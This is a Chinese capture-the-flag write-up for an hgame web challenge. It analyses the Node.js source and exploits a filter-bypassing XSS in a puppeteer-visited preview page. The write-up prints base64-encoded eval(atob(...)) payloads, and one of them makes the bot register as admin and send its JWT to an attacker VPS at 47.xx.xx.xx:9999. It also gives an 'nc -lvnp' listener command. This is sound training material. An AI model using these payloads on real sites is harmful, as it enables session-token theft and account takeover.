题目链接

源码分析

register 会用post过去的username,flag和secret生成token 并直接回显

如果发起请求的ip是本地的话 flag为真 否则是假的

1
2
3
4
5
6
7
8
9
app.post("/user/register", (req, res) => {
const username = req.body.username
let flag = "hgame{fake_flag_here}"
if (username == "admin" && req.ip == "127.0.0.1" || req.ip == "::ffff:127.0.0.1") {
flag = "hgame{true_flag_here}"
}
const token = jwt.sign({ username, flag }, secret)
res.json({ token })
})

其他路由都要求经过auth函数,明显需要在包头中添加authorization: token 否则跳转至根目录

1
2
3
4
5
6
7
8
9
10
11
12
13
function auth(req, res, next) {
const token = req.headers["authorization"]
if (!token) {
return res.redirect("/")
}
try {
const decoded = jwt.verify(token, secret) || {}
req.user = decoded
} catch {
return res.status(500).json({ msg: "jwt decode error" })
}
next()
}

/user/info 可以直接查看flag

两步:1. 获取token 2.传token看flag

尝试了x-forwarded-for等很多伪造ip方式,都不行 这里的req.ip应该是不可伪造的

1
2
3
app.get("/user/info", auth, (req, res) => {
res.json({ username: req.user.username, flag: req.user.flag })
})

/button/share 中为关键逻辑

它会访问/button/preview 并且参数可控 那么也就相当于本地访问 正好满足我们的要求 localStorage中的token存放生成后的token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
app.post("/button/share", auth, async (req, res) => {
const browser = await puppeteer.launch({
headless: true,
executablePath: "/usr/bin/chromium",
args: ['--no-sandbox']
});
const page = await browser.newPage()
const query = querystring.encode(req.body)
await page.goto('http://127.0.0.1:9090/button/preview?' + query)
await page.evaluate(() => {
return localStorage.setItem("token", "jwt_token_here")
})
await page.click("#button")

res.json({ msg: "admin will see it later" })
})

访问preview路由 明显存在XSS漏洞 但是过滤了alert 我们可以通过base64绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
app.get("/button/preview", (req, res) => {
const blacklist = [
/on/i, /localStorage/i, /alert/, /fetch/, /XMLHttpRequest/, /window/, /location/, /document/
]
for (const key in req.query) {
for (const item of blacklist) {
if (item.test(key.trim()) || item.test(req.query[key].trim())) {
req.query[key] = ""
}
}
}
res.render("preview", { data: req.query })
})

1
2
/button/preview?123"><script>eval(atob('YWxlcnQoMik%3D'))</script>
// alert(2)

攻击思路

  1. 通过share路由 构造好payload 服务器则会跳转至preview利用XSS执行我们的代码
  2. 代码中先跳转至register获得服务器本地token然后外带至我们的vps
  3. 得到token后对应访问/usr/info即可获取flag
1
2
3
4
5
6
7
8
9
'''
POST /button/share

Authorization: [some_token_here]

{"border-radius":"0px\"><script>eval(atob('JC5wb3N0KCIvdXNlci9yZWdpc3RlciIseyJ1c2VybmFtZSI6ImFkbWluIn0sZnVuY3Rpb24ocmVzdWx0KXtkb2N1bWVudC5sb2NhdGlvbj0naHR0cDovLzQ3Lnh4Lnh4Lnh4Ojk5OTk/Yz0nK0pTT04uc3RyaW5naWZ5KHJlc3VsdCl9KTs='))</script>"}
'''
# $.post("/user/register",{"username":"admin"},function(result){document.location='http://47.xx.xx.xx:9999?c='+JSON.stringify(result)});
# vps上开启监听:nc -lvnp 9999; 注意收到的token要去掉双引号%22
⬆︎TOP